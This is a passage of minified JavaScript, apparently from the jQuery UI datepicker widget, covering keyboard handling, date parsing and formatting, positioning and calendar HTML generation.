t.datepicker._datepickerShowing&&t.datepicker._lastInput===e[0]?t.datepicker._hideDatepicker():t.datepicker._datepickerShowing&&t.datepicker._lastInput!==e[0]?(t.datepicker._hideDatepicker(),t.datepicker._showDatepicker(e[0])):t.datepicker._showDatepicker(e[0]),!1}))},_autoSize:function(t){if(this._get(t,"autoSize")&&!t.inline){var e,i,s,n,a=new Date(2009,11,20),r=this._get(t,"dateFormat");r.match(/[DM]/)&&(e=function(t){for(i=0,s=0,n=0;t.length>n;n++)t[n].length>i&&(i=t[n].length,s=n);return s},a.setMonth(e(this._get(t,r.match(/MM/)?"monthNames":"monthNamesShort"))),a.setDate(e(this._get(t,r.match(/DD/)?"dayNames":"dayNamesShort"))+20-a.getDay())),t.input.attr("size",this._formatDate(t,a).length)}},_inlineDatepicker:function(e,i){var s=t(e);s.hasClass(this.markerClassName)||(s.addClass(this.markerClassName).append(i.dpDiv),t.data(e,r,i),this._setDate(i,this._getDefaultDate(i),!0),this._updateDatepicker(i),this._updateAlternate(i),i.settings.disabled&&this._disableDatepicker(e),i.dpDiv.css("display","block"))},_dialogDatepicker:function(e,i,s,a,o){var h,l,c,u,d,p=this._dialogInst;return p||(this.uuid+=1,h="dp"+this.uuid,this._dialogInput=t("<input type='text' id='"+h+"' style='position: absolute; top: -100px; width: 0px;'/>"),this._dialogInput.keydown(this._doKeyDown),t("body").append(this._dialogInput),p=this._dialogInst=this._newInst(this._dialogInput,!1),p.settings={},t.data(this._dialogInput[0],r,p)),n(p.settings,a||{}),i=i&&i.constructor===Date?this._formatDate(p,i):i,this._dialogInput.val(i),this._pos=o?o.length?o:[o.pageX,o.pageY]:null,this._pos||(l=document.documentElement.clientWidth,c=document.documentElement.clientHeight,u=document.documentElement.scrollLeft||document.body.scrollLeft,d=document.documentElement.scrollTop||document.body.scrollTop,this._pos=[l/2-100+u,c/2-150+d]),this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),p.settings.onSelect=s,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),t.blockUI&&t.blockUI(this.dpDiv),t.data(this._dialogInput[0],r,p),this},_destroyDatepicker:function(e){var i,s=t(e),n=t.data(e,r);s.hasClass(this.markerClassName)&&(i=e.nodeName.toLowerCase(),t.removeData(e,r),"input"===i?(n.append.remove(),n.trigger.remove(),s.removeClass(this.markerClassName).unbind("focus",this._showDatepicker).unbind("keydown",this._doKeyDown).unbind("keypress",this._doKeyPress).unbind("keyup",this._doKeyUp)):("div"===i||"span"===i)&&s.removeClass(this.markerClassName).empty())},_enableDatepicker:function(e){var i,s,n=t(e),a=t.data(e,r);n.hasClass(this.markerClassName)&&(i=e.nodeName.toLowerCase(),"input"===i?(e.disabled=!1,a.trigger.filter("button").each(function(){this.disabled=!1}).end().filter("img").css({opacity:"1.0",cursor:""})):("div"===i||"span"===i)&&(s=n.children("."+this._inlineClass),s.children().removeClass("ui-state-disabled"),s.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!1)),this._disabledInputs=t.map(this._disabledInputs,function(t){return t===e?null:t}))},_disableDatepicker:function(e){var i,s,n=t(e),a=t.data(e,r);n.hasClass(this.markerClassName)&&(i=e.nodeName.toLowerCase(),"input"===i?(e.disabled=!0,a.trigger.filter("button").each(function(){this.disabled=!0}).end().filter("img").css({opacity:"0.5",cursor:"default"})):("div"===i||"span"===i)&&(s=n.children("."+this._inlineClass),s.children().addClass("ui-state-disabled"),s.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!0)),this._disabledInputs=t.map(this._disabledInputs,function(t){return t===e?null:t}),this._disabledInputs[this._disabledInputs.length]=e)},_isDisabledDatepicker:function(t){if(!t)return!1;for(var e=0;this._disabledInputs.length>e;e++)if(this._disabledInputs[e]===t)return!0;return!1},_getInst:function(e){try{return t.data(e,r)}catch(i){throw"Missing instance data for this datepicker"}},_optionDatepicker:function(i,s,a){var r,o,h,l,c=this._getInst(i);return 2===arguments.length&&"string"==typeof s?"defaults"===s?t.extend({},t.datepicker._defaults):c?"all"===s?t.extend({},c.settings):this._get(c,s):null:(r=s||{},"string"==typeof s&&(r={},r[s]=a),c&&(this._curInst===c&&this._hideDatepicker(),o=this._getDateDatepicker(i,!0),h=this._getMinMaxDate(c,"min"),l=this._getMinMaxDate(c,"max"),n(c.settings,r),null!==h&&r.dateFormat!==e&&r.minDate===e&&(c.settings.minDate=this._formatDate(c,h)),null!==l&&r.dateFormat!==e&&r.maxDate===e&&(c.settings.maxDate=this._formatDate(c,l)),"disabled"in r&&(r.disabled?this._disableDatepicker(i):this._enableDatepicker(i)),this._attachments(t(i),c),this._autoSize(c),this._setDate(c,o),this._updateAlternate(c),this._updateDatepicker(c)),e)},_changeDatepicker:function(t,e,i){this._optionDatepicker(t,e,i)},_refreshDatepicker:function(t){var e=this._getInst(t);e&&this._updateDatepicker(e)},_setDateDatepicker:function(t,e){var i=this._getInst(t);i&&(this._setDate(i,e),this._updateDatepicker(i),this._updateAlternate(i))},_getDateDatepicker:function(t,e){var i=this._getInst(t);return i&&!i.inline&&this._setDateFromField(i,e),i?this._getDate(i):null},_doKeyDown:function(e){var i,s,n,a=t.datepicker._getInst(e.target),r=!0,o=a.dpDiv.is(".ui-datepicker-rtl");if(a._keyEvent=!0,t.datepicker._datepickerShowing)switch(e.keyCode){case 9:t.datepicker._hideDatepicker(),r=!1;break;case 13:return n=t("td."+t.datepicker._dayOverClass+":not(."+t.datepicker._currentClass+")",a.dpDiv),n[0]&&t.datepicker._selectDay(e.target,a.selectedMonth,a.selectedYear,n[0]),i=t.datepicker._get(a,"onSelect"),i?(s=t.datepicker._formatDate(a),i.apply(a.input?a.input[0]:null,[s,a])):t.datepicker._hideDatepicker(),!1;case 27:t.datepicker._hideDatepicker();break;case 33:t.datepicker._adjustDate(e.target,e.ctrlKey?-t.datepicker._get(a,"stepBigMonths"):-t.datepicker._get(a,"stepMonths"),"M");break;case 34:t.datepicker._adjustDate(e.target,e.ctrlKey?+t.datepicker._get(a,"stepBigMonths"):+t.datepicker._get(a,"stepMonths"),"M");break;case 35:(e.ctrlKey||e.metaKey)&&t.datepicker._clearDate(e.target),r=e.ctrlKey||e.metaKey;break;case 36:(e.ctrlKey||e.metaKey)&&t.datepicker._gotoToday(e.target),r=e.ctrlKey||e.metaKey;break;case 37:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,o?1:-1,"D"),r=e.ctrlKey||e.metaKey,e.originalEvent.altKey&&t.datepicker._adjustDate(e.target,e.ctrlKey?-t.datepicker._get(a,"stepBigMonths"):-t.datepicker._get(a,"stepMonths"),"M");break;case 38:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,-7,"D"),r=e.ctrlKey||e.metaKey;break;case 39:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,o?-1:1,"D"),r=e.ctrlKey||e.metaKey,e.originalEvent.altKey&&t.datepicker._adjustDate(e.target,e.ctrlKey?+t.datepicker._get(a,"stepBigMonths"):+t.datepicker._get(a,"stepMonths"),"M");break;case 40:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,7,"D"),r=e.ctrlKey||e.metaKey;break;default:r=!1}else 36===e.keyCode&&e.ctrlKey?t.datepicker._showDatepicker(this):r=!1;r&&(e.preventDefault(),e.stopPropagation())},_doKeyPress:function(i){var s,n,a=t.datepicker._getInst(i.target);return t.datepicker._get(a,"constrainInput")?(s=t.datepicker._possibleChars(t.datepicker._get(a,"dateFormat")),n=String.fromCharCode(null==i.charCode?i.keyCode:i.charCode),i.ctrlKey||i.metaKey||" ">n||!s||s.indexOf(n)>-1):e},_doKeyUp:function(e){var i,s=t.datepicker._getInst(e.target);if(s.input.val()!==s.lastVal)try{i=t.datepicker.parseDate(t.datepicker._get(s,"dateFormat"),s.input?s.input.val():null,t.datepicker._getFormatConfig(s)),i&&(t.datepicker._setDateFromField(s),t.datepicker._updateAlternate(s),t.datepicker._updateDatepicker(s))}catch(n){}return!0},_showDatepicker:function(e){if(e=e.target||e,"input"!==e.nodeName.toLowerCase()&&(e=t("input",e.parentNode)[0]),!t.datepicker._isDisabledDatepicker(e)&&t.datepicker._lastInput!==e){var i,s,a,r,o,h,l;i=t.datepicker._getInst(e),t.datepicker._curInst&&t.datepicker._curInst!==i&&(t.datepicker._curInst.dpDiv.stop(!0,!0),i&&t.datepicker._datepickerShowing&&t.datepicker._hideDatepicker(t.datepicker._curInst.input[0])),s=t.datepicker._get(i,"beforeShow"),a=s?s.apply(e,[e,i]):{},a!==!1&&(n(i.settings,a),i.lastVal=null,t.datepicker._lastInput=e,t.datepicker._setDateFromField(i),t.datepicker._inDialog&&(e.value=""),t.datepicker._pos||(t.datepicker._pos=t.datepicker._findPos(e),t.datepicker._pos[1]+=e.offsetHeight),r=!1,t(e).parents().each(function(){return r|="fixed"===t(this).css("position"),!r}),o={left:t.datepicker._pos[0],top:t.datepicker._pos[1]},t.datepicker._pos=null,i.dpDiv.empty(),i.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),t.datepicker._updateDatepicker(i),o=t.datepicker._checkOffset(i,o,r),i.dpDiv.css({position:t.datepicker._inDialog&&t.blockUI?"static":r?"fixed":"absolute",display:"none",left:o.left+"px",top:o.top+"px"}),i.inline||(h=t.datepicker._get(i,"showAnim"),l=t.datepicker._get(i,"duration"),i.dpDiv.zIndex(t(e).zIndex()+1),t.datepicker._datepickerShowing=!0,t.effects&&t.effects.effect[h]?i.dpDiv.show(h,t.datepicker._get(i,"showOptions"),l):i.dpDiv[h||"show"](h?l:null),t.datepicker._shouldFocusInput(i)&&i.input.focus(),t.datepicker._curInst=i))}},_updateDatepicker:function(e){this.maxRows=4,a=e,e.dpDiv.empty().append(this._generateHTML(e)),this._attachHandlers(e),e.dpDiv.find("."+this._dayOverClass+" a").mouseover();var i,s=this._getNumberOfMonths(e),n=s[1],r=17;e.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),n>1&&e.dpDiv.addClass("ui-datepicker-multi-"+n).css("width",r*n+"em"),e.dpDiv[(1!==s[0]||1!==s[1]?"add":"remove")+"Class"]("ui-datepicker-multi"),e.dpDiv[(this._get(e,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),e===t.datepicker._curInst&&t.datepicker._datepickerShowing&&t.datepicker._shouldFocusInput(e)&&e.input.focus(),e.yearshtml&&(i=e.yearshtml,setTimeout(function(){i===e.yearshtml&&e.yearshtml&&e.dpDiv.find("select.ui-datepicker-year:first").replaceWith(e.yearshtml),i=e.yearshtml=null},0))},_shouldFocusInput:function(t){return t.input&&t.input.is(":visible")&&!t.input.is(":disabled")&&!t.input.is(":focus")},_checkOffset:function(e,i,s){var n=e.dpDiv.outerWidth(),a=e.dpDiv.outerHeight(),r=e.input?e.input.outerWidth():0,o=e.input?e.input.outerHeight():0,h=document.documentElement.clientWidth+(s?0:t(document).scrollLeft()),l=document.documentElement.clientHeight+(s?0:t(document).scrollTop());return i.left-=this._get(e,"isRTL")?n-r:0,i.left-=s&&i.left===e.input.offset().left?t(document).scrollLeft():0,i.top-=s&&i.top===e.input.offset().top+o?t(document).scrollTop():0,i.left-=Math.min(i.left,i.left+n>h&&h>n?Math.abs(i.left+n-h):0),i.top-=Math.min(i.top,i.top+a>l&&l>a?Math.abs(a+o):0),i},_findPos:function(e){for(var i,s=this._getInst(e),n=this._get(s,"isRTL");e&&("hidden"===e.type||1!==e.nodeType||t.expr.filters.hidden(e));)e=e[n?"previousSibling":"nextSibling"];return i=t(e).offset(),[i.left,i.top]},_hideDatepicker:function(e){var i,s,n,a,o=this._curInst;!o||e&&o!==t.data(e,r)||this._datepickerShowing&&(i=this._get(o,"showAnim"),s=this._get(o,"duration"),n=function(){t.datepicker._tidyDialog(o)},t.effects&&(t.effects.effect[i]||t.effects[i])?o.dpDiv.hide(i,t.datepicker._get(o,"showOptions"),s,n):o.dpDiv["slideDown"===i?"slideUp":"fadeIn"===i?"fadeOut":"hide"](i?s:null,n),i||n(),this._datepickerShowing=!1,a=this._get(o,"onClose"),a&&a.apply(o.input?o.input[0]:null,[o.input?o.input.val():"",o]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),t.blockUI&&(t.unblockUI(),t("body").append(this.dpDiv))),this._inDialog=!1)},_tidyDialog:function(t){t.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(e){if(t.datepicker._curInst){var i=t(e.target),s=t.datepicker._getInst(i[0]);(i[0].id!==t.datepicker._mainDivId&&0===i.parents("#"+t.datepicker._mainDivId).length&&!i.hasClass(t.datepicker.markerClassName)&&!i.closest("."+t.datepicker._triggerClass).length&&t.datepicker._datepickerShowing&&(!t.datepicker._inDialog||!t.blockUI)||i.hasClass(t.datepicker.markerClassName)&&t.datepicker._curInst!==s)&&t.datepicker._hideDatepicker()}},_adjustDate:function(e,i,s){var n=t(e),a=this._getInst(n[0]);this._isDisabledDatepicker(n[0])||(this._adjustInstDate(a,i+("M"===s?this._get(a,"showCurrentAtPos"):0),s),this._updateDatepicker(a))},_gotoToday:function(e){var i,s=t(e),n=this._getInst(s[0]);this._get(n,"gotoCurrent")&&n.currentDay?(n.selectedDay=n.currentDay,n.drawMonth=n.selectedMonth=n.currentMonth,n.drawYear=n.selectedYear=n.currentYear):(i=new Date,n.selectedDay=i.getDate(),n.drawMonth=n.selectedMonth=i.getMonth(),n.drawYear=n.selectedYear=i.getFullYear()),this._notifyChange(n),this._adjustDate(s)},_selectMonthYear:function(e,i,s){var n=t(e),a=this._getInst(n[0]);a["selected"+("M"===s?"Month":"Year")]=a["draw"+("M"===s?"Month":"Year")]=parseInt(i.options[i.selectedIndex].value,10),this._notifyChange(a),this._adjustDate(n)},_selectDay:function(e,i,s,n){var a,r=t(e);t(n).hasClass(this._unselectableClass)||this._isDisabledDatepicker(r[0])||(a=this._getInst(r[0]),a.selectedDay=a.currentDay=t("a",n).html(),a.selectedMonth=a.currentMonth=i,a.selectedYear=a.currentYear=s,this._selectDate(e,this._formatDate(a,a.currentDay,a.currentMonth,a.currentYear)))},_clearDate:function(e){var i=t(e);this._selectDate(i,"")},_selectDate:function(e,i){var s,n=t(e),a=this._getInst(n[0]);i=null!=i?i:this._formatDate(a),a.input&&a.input.val(i),this._updateAlternate(a),s=this._get(a,"onSelect"),s?s.apply(a.input?a.input[0]:null,[i,a]):a.input&&a.input.trigger("change"),a.inline?this._updateDatepicker(a):(this._hideDatepicker(),this._lastInput=a.input[0],"object"!=typeof a.input[0]&&a.input.focus(),this._lastInput=null)},_updateAlternate:function(e){var i,s,n,a=this._get(e,"altField");a&&(i=this._get(e,"altFormat")||this._get(e,"dateFormat"),s=this._getDate(e),n=this.formatDate(i,s,this._getFormatConfig(e)),t(a).each(function(){t(this).val(n)}))},noWeekends:function(t){var e=t.getDay();return[e>0&&6>e,""]},iso8601Week:function(t){var e,i=new Date(t.getTime());return i.setDate(i.getDate()+4-(i.getDay()||7)),e=i.getTime(),i.setMonth(0),i.setDate(1),Math.floor(Math.round((e-i)/864e5)/7)+1},parseDate:function(i,s,n){if(null==i||null==s)throw"Invalid arguments";if(s="object"==typeof s?""+s:s+"",""===s)return null;var a,r,o,h,l=0,c=(n?n.shortYearCutoff:null)||this._defaults.shortYearCutoff,u="string"!=typeof c?c:(new Date).getFullYear()%100+parseInt(c,10),d=(n?n.dayNamesShort:null)||this._defaults.dayNamesShort,p=(n?n.dayNames:null)||this._defaults.dayNames,f=(n?n.monthNamesShort:null)||this._defaults.monthNamesShort,m=(n?n.monthNames:null)||this._defaults.monthNames,g=-1,v=-1,_=-1,b=-1,y=!1,x=function(t){var e=i.length>a+1&&i.charAt(a+1)===t;return e&&a++,e},k=function(t){var e=x(t),i="@"===t?14:"!"===t?20:"y"===t&&e?4:"o"===t?3:2,n=RegExp("^\\d{1,"+i+"}"),a=s.substring(l).match(n);if(!a)throw"Missing number at position "+l;return l+=a[0].length,parseInt(a[0],10)},w=function(i,n,a){var r=-1,o=t.map(x(i)?a:n,function(t,e){return[[e,t]]}).sort(function(t,e){return-(t[1].length-e[1].length)});if(t.each(o,function(t,i){var n=i[1];return s.substr(l,n.length).toLowerCase()===n.toLowerCase()?(r=i[0],l+=n.length,!1):e}),-1!==r)return r+1;throw"Unknown name at position "+l},D=function(){if(s.charAt(l)!==i.charAt(a))throw"Unexpected literal at position "+l;l++};for(a=0;i.length>a;a++)if(y)"'"!==i.charAt(a)||x("'")?D():y=!1;else switch(i.charAt(a)){case"d":_=k("d");break;case"D":w("D",d,p);break;case"o":b=k("o");break;case"m":v=k("m");break;case"M":v=w("M",f,m);break;case"y":g=k("y");break;case"@":h=new Date(k("@")),g=h.getFullYear(),v=h.getMonth()+1,_=h.getDate();break;case"!":h=new Date((k("!")-this._ticksTo1970)/1e4),g=h.getFullYear(),v=h.getMonth()+1,_=h.getDate();break;case"'":x("'")?D():y=!0;break;default:D()}if(s.length>l&&(o=s.substr(l),!/^\s+/.test(o)))throw"Extra/unparsed characters found in date: "+o;if(-1===g?g=(new Date).getFullYear():100>g&&(g+=(new Date).getFullYear()-(new Date).getFullYear()%100+(u>=g?0:-100)),b>-1)for(v=1,_=b;;){if(r=this._getDaysInMonth(g,v-1),r>=_)break;v++,_-=r}if(h=this._daylightSavingAdjust(new Date(g,v-1,_)),h.getFullYear()!==g||h.getMonth()+1!==v||h.getDate()!==_)throw"Invalid date";return h},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:1e7*60*60*24*(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925)),formatDate:function(t,e,i){if(!e)return"";var s,n=(i?i.dayNamesShort:null)||this._defaults.dayNamesShort,a=(i?i.dayNames:null)||this._defaults.dayNames,r=(i?i.monthNamesShort:null)||this._defaults.monthNamesShort,o=(i?i.monthNames:null)||this._defaults.monthNames,h=function(e){var i=t.length>s+1&&t.charAt(s+1)===e;return i&&s++,i},l=function(t,e,i){var s=""+e;if(h(t))for(;i>s.length;)s="0"+s;return s},c=function(t,e,i,s){return h(t)?s[e]:i[e]},u="",d=!1;if(e)for(s=0;t.length>s;s++)if(d)"'"!==t.charAt(s)||h("'")?u+=t.charAt(s):d=!1;else switch(t.charAt(s)){case"d":u+=l("d",e.getDate(),2);break;case"D":u+=c("D",e.getDay(),n,a);break;case"o":u+=l("o",Math.round((new Date(e.getFullYear(),e.getMonth(),e.getDate()).getTime()-new Date(e.getFullYear(),0,0).getTime())/864e5),3);break;case"m":u+=l("m",e.getMonth()+1,2);break;case"M":u+=c("M",e.getMonth(),r,o);break;case"y":u+=h("y")?e.getFullYear():(10>e.getYear()%100?"0":"")+e.getYear()%100;break;case"@":u+=e.getTime();break;case"!":u+=1e4*e.getTime()+this._ticksTo1970;break;case"'":h("'")?u+="'":d=!0;break;default:u+=t.charAt(s)}return u},_possibleChars:function(t){var e,i="",s=!1,n=function(i){var s=t.length>e+1&&t.charAt(e+1)===i;return s&&e++,s};for(e=0;t.length>e;e++)if(s)"'"!==t.charAt(e)||n("'")?i+=t.charAt(e):s=!1;else switch(t.charAt(e)){case"d":case"m":case"y":case"@":i+="0123456789";break;case"D":case"M":return null;case"'":n("'")?i+="'":s=!0;break;default:i+=t.charAt(e)}return i},_get:function(t,i){return t.settings[i]!==e?t.settings[i]:this._defaults[i]},_setDateFromField:function(t,e){if(t.input.val()!==t.lastVal){var i=this._get(t,"dateFormat"),s=t.lastVal=t.input?t.input.val():null,n=this._getDefaultDate(t),a=n,r=this._getFormatConfig(t);try{a=this.parseDate(i,s,r)||n}catch(o){s=e?"":s}t.selectedDay=a.getDate(),t.drawMonth=t.selectedMonth=a.getMonth(),t.drawYear=t.selectedYear=a.getFullYear(),t.currentDay=s?a.getDate():0,t.currentMonth=s?a.getMonth():0,t.currentYear=s?a.getFullYear():0,this._adjustInstDate(t)}},_getDefaultDate:function(t){return this._restrictMinMax(t,this._determineDate(t,this._get(t,"defaultDate"),new Date))},_determineDate:function(e,i,s){var n=function(t){var e=new Date;return e.setDate(e.getDate()+t),e},a=function(i){try{return t.datepicker.parseDate(t.datepicker._get(e,"dateFormat"),i,t.datepicker._getFormatConfig(e))}catch(s){}for(var n=(i.toLowerCase().match(/^c/)?t.datepicker._getDate(e):null)||new Date,a=n.getFullYear(),r=n.getMonth(),o=n.getDate(),h=/([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,l=h.exec(i);l;){switch(l[2]||"d"){case"d":case"D":o+=parseInt(l[1],10);break;case"w":case"W":o+=7*parseInt(l[1],10);break;case"m":case"M":r+=parseInt(l[1],10),o=Math.min(o,t.datepicker._getDaysInMonth(a,r));break;case"y":case"Y":a+=parseInt(l[1],10),o=Math.min(o,t.datepicker._getDaysInMonth(a,r))}l=h.exec(i)}return new Date(a,r,o)},r=null==i||""===i?s:"string"==typeof i?a(i):"number"==typeof i?isNaN(i)?s:n(i):new Date(i.getTime());return r=r&&"Invalid Date"==""+r?s:r,r&&(r.setHours(0),r.setMinutes(0),r.setSeconds(0),r.setMilliseconds(0)),this._daylightSavingAdjust(r)},_daylightSavingAdjust:function(t){return t?(t.setHours(t.getHours()>12?t.getHours()+2:0),t):null},_setDate:function(t,e,i){var s=!e,n=t.selectedMonth,a=t.selectedYear,r=this._restrictMinMax(t,this._determineDate(t,e,new Date));t.selectedDay=t.currentDay=r.getDate(),t.drawMonth=t.selectedMonth=t.currentMonth=r.getMonth(),t.drawYear=t.selectedYear=t.currentYear=r.getFullYear(),n===t.selectedMonth&&a===t.selectedYear||i||this._notifyChange(t),this._adjustInstDate(t),t.input&&t.input.val(s?"":this._formatDate(t))},_getDate:function(t){var e=!t.currentYear||t.input&&""===t.input.val()?null:this._daylightSavingAdjust(new Date(t.currentYear,t.currentMonth,t.currentDay));return e},_attachHandlers:function(e){var i=this._get(e,"stepMonths"),s="#"+e.id.replace(/\\\\/g,"\\");e.dpDiv.find("[data-handler]").map(function(){var e={prev:function(){t.datepicker._adjustDate(s,-i,"M")},next:function(){t.datepicker._adjustDate(s,+i,"M")},hide:function(){t.datepicker._hideDatepicker()},today:function(){t.datepicker._gotoToday(s)},selectDay:function(){return t.datepicker._selectDay(s,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this),!1},selectMonth:function(){return t.datepicker._selectMonthYear(s,this,"M"),!1},selectYear:function(){return t.datepicker._selectMonthYear(s,this,"Y"),!1}};t(this).bind(this.getAttribute("data-event"),e[this.getAttribute("data-handler")])})},_generateHTML:function(t){var e,i,s,n,a,r,o,h,l,c,u,d,p,f,m,g,v,_,b,y,x,k,w,D,T,C,M,S,N,I,P,A,z,H,E,F,O,W,j,R=new Date,L=this._daylightSavingAdjust(new Date(R.getFullYear(),R.getMonth(),R.getDate())),Y=this._get(t,"isRTL"),B=this._get(t,"showButtonPanel"),J=this._get(t,"hideIfNoPrevNext"),K=this._get(t,"navigationAsDateFormat"),Q=this._getNumberOfMonths(t),V=this._get(t,"showCurrentAtPos"),U=this._get(t,"stepMonths"),q=1!==Q[0]||1!==Q[1],X=this._daylightSavingAdjust(t.currentDay?new Date(t.currentYear,t.currentMonth,t.currentDay):new Date(9999,9,9)),G=this._getMinMaxDate(t,"min"),$=this._getMinMaxDate(t,"max"),Z=t.drawMonth-V,te=t.drawYear;if(0>Z&&(Z+=12,te--),$)for(e=this._daylightSavingAdjust(new Date($.getFullYear(),$.getMonth()-Q[0]*Q[1]+1,$.getDate())),e=G&&G>e?G:e;this._daylightSavingAdjust(new Date(te,Z,1))>e;)Z--,0>Z&&(Z=11,te--);for(t.drawMonth=Z,t.drawYear=te,i=this._get(t,"prevText"),i=K?this.formatDate(i,this._daylightSavingAdjust(new Date(te,Z-U,1)),this._getFormatConfig(t)):i,s=this._canAdjustMonth(t,-1,te,Z)?"<a class='ui-datepicker-prev ui-corner-all' data-handler='prev' data-event='click' title='"+i+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"e":"w")+"'>"+i+"</span></a>":J?"":"<a class='ui-datepicker-prev ui-corner-all ui-state-disabled' title='"+i+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"e":"w")+"'>"+i+"</span></a>",n=this._get(t,"nextText"),n=K?this.formatDate(n,this._daylightSavingAdjust(new Date(te,Z+U,1)),this._getFormatConfig(t)):n,a=this._canAdjustMonth(t,1,te,Z)?"<a class='ui-datepicker-next ui-corner-all' data-handler='next' data-event='click' title='"+n+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"w":"e")+"'>"+n+"</span></a>":J?"":"<a class='ui-datepicker-next ui-corner-all ui-state-disabled' title='"+n+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"w":"e")+"'>"+n+"</span></a>",r=this._get(t,"currentText"),o=this._get(t,"gotoCurrent")&&t.currentDay?X:L,r=K?this.formatDate(r,o,this._getFormatConfig(t)):r,h=t.inline?"":"<button type='button' class='ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all' data-handler='hide' data-event='click'>"+this._get(t,"closeText")+"</button>",l=B?"<div class='ui-datepicker-buttonpane ui-widget-content'>"+(Y?h:"")+(this._isInRange(t,o)?"<button type='button' class='ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all' data-handler='today' data-event='click'>"+r+"</button>":"")+(Y?"":h)+"</div>":"",c=parseInt(this._get(t,"firstDay"),10),c=isNaN(c)?0:c,u=this._get(t,"showWeek"),d=this._get(t,"dayNames"),p=this._get(t,"dayNamesMin"),f=this._get(t,"monthNames"),m=this._get(t,"monthNamesShort"),g=this._get(t,"beforeShowDay"),v=this._get(t,"showOtherMonths"),_=this._get(t,"selectOtherMonths"),b=this._getDefaultDate(t),y="",k=0;Q[0]>k;k++){for(w="",this.maxRows=4,D=0;Q[1]>D;D++){if(T=this._daylightSavingAdjust(new Date(te,Z,t.selectedDay)),C=" ui-corner-all",M="",q){if(M+="<div class='ui-datepicker-group",Q[1]>1)switch(D){case 0:M+=" ui-datepicker-group-first",C=" ui-corner-"+(Y?"right":"left");break;case Q[1]-1:M+=" ui-datepicker-group-last",C=" ui-corner-"+(Y?"left":"right");break;default:M+=" ui-datepicker-group-middle",C=""}M+="'>"}for(M+="<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix"+C+"'>"+(/all|left/.test(C)&&0===k?Y?a:s:"")+(/all|right/.test(C)&&0===k?Y?s:a:"")+this._generateMonthYearHeader(t,Z,te,G,$,k>0||D>0,f,m)+"</div><table class='ui-datepicker-calendar'><thead>"+"<tr>",S=u?"<th class='ui-datepicker-week-col'>"+this._get(t,"weekHeader")+"</th>":"",x=0;7>x;x++)N=(x+c)%7,S+="<th"+((x+c+6)%7>=5?" class='ui-datepicker-week-end'":"")+">"+"<span title='"+d[N]+"'>"+p[N]+"</span></th>";for(M+=S+"</tr></thead><tbody>",I=this._getDaysInMonth(te,Z),te===t.selectedYear&&Z===t.selectedMonth&&(t.selectedDay=Math.min(t.selectedDay,I)),P=(this._getFirstDayOfMonth(te,Z)-c+7)%7,A=Math.ceil((P+I)/7),z=q?this.maxRows>A?this.maxRows:A:A,this.maxRows=z,H=this._daylightSavingAdjust(new Date(te,Z,1-P)),E=0;z>E;E++){for(M+="<tr>",F=u?"<td class='ui-datepicker-week-col'>"+this._get(t,"calculateWeek")(H)+"</td>":"",x=0;7>x;x++)O=g?g.apply(t.input?t.input[0]:null,[H]):[!0,""],W=H.getMonth()!==Z,j=W&&!_||!O[0]||G&&G>H||$&&H>$,F+="<td class='"+((x+c+6)%7>=5?" ui-datepicker-week-end":"")+(W?" ui-datepicker-other-month":"")+(H.getTime()===T.getTime()&&Z===t.selectedMonth&&t._keyEvent||b.getTime()===H.getTime()&&b.getTime()===T.getTime()?" "+this._dayOverClass:"")+(j?" "+this._unselectableClass+" ui-state-disabled":"")+(W&&!v?"":" "+O[1]+(H.getTime()===X.getTime()?" "+this._currentClass:"")+(H.getTime()===L.getTime()?" ui-datepicker-today":""))+"'"+(W&&!v||!O[2]?"":" title='"+O[2].replace(/'/g,"&#39;")+"'")+(j?"":" data-handler='selectDay' data-event='click' data-month='"+H.getMonth()+"' data-year='"+H.getFullYear()+"'")+">"+(W&&!v?"&#xa0;":j?"<span class='ui-state-default'>"+H.getDate()+"</span>":"<a class='ui-state-default"+(H.getTime()===L.getTime()?" ui-state-highlight":"")+(H.getTime()===X.getTime()?" ui-state-active":"")+(W?" ui-priority-secondary":"")+"' href='#'>"+H.getDate()+"</a>")+"</td>",H.setDate(H.getDate()+1),H=this._daylightSavingAdjust(H);M+=F+"</tr>"}Z++,Z>11&&(Z=0,te++),M+="</tbody></table>"+(q?"</div>"+(Q[0]>0&&D===Q[1]-1?"<div class='ui-datepicker-row-break'></div>":""):""),w+=M}y+=w}return y+=l,t._keyEvent=!1,y},_generateMonthYearHeader:function(t,e,i,s,n,a,r,o){var h,l,c,u,d,p,f,m,g=this._get(t,"changeMonth"),v=this._get(t,"changeYear"),_=this._get(t,"showMonthAfterYear"),b="<div class='ui-datepicker-title'>",y="";if(a||!g)y+="<span class='ui-datepicker-month'>"+r[e]+"</span>";else{for(h=s&&s.getFullYear()===i,l=n&&n.getFullYear()===i,y+="<select class='ui-datepicker-month' data-handler='selectMonth' data-event='change'>",c=0;12>c;c++)(!h||c>=s.getMonth())&&(!l||n.getMonth()>=c)&&(y+="<option 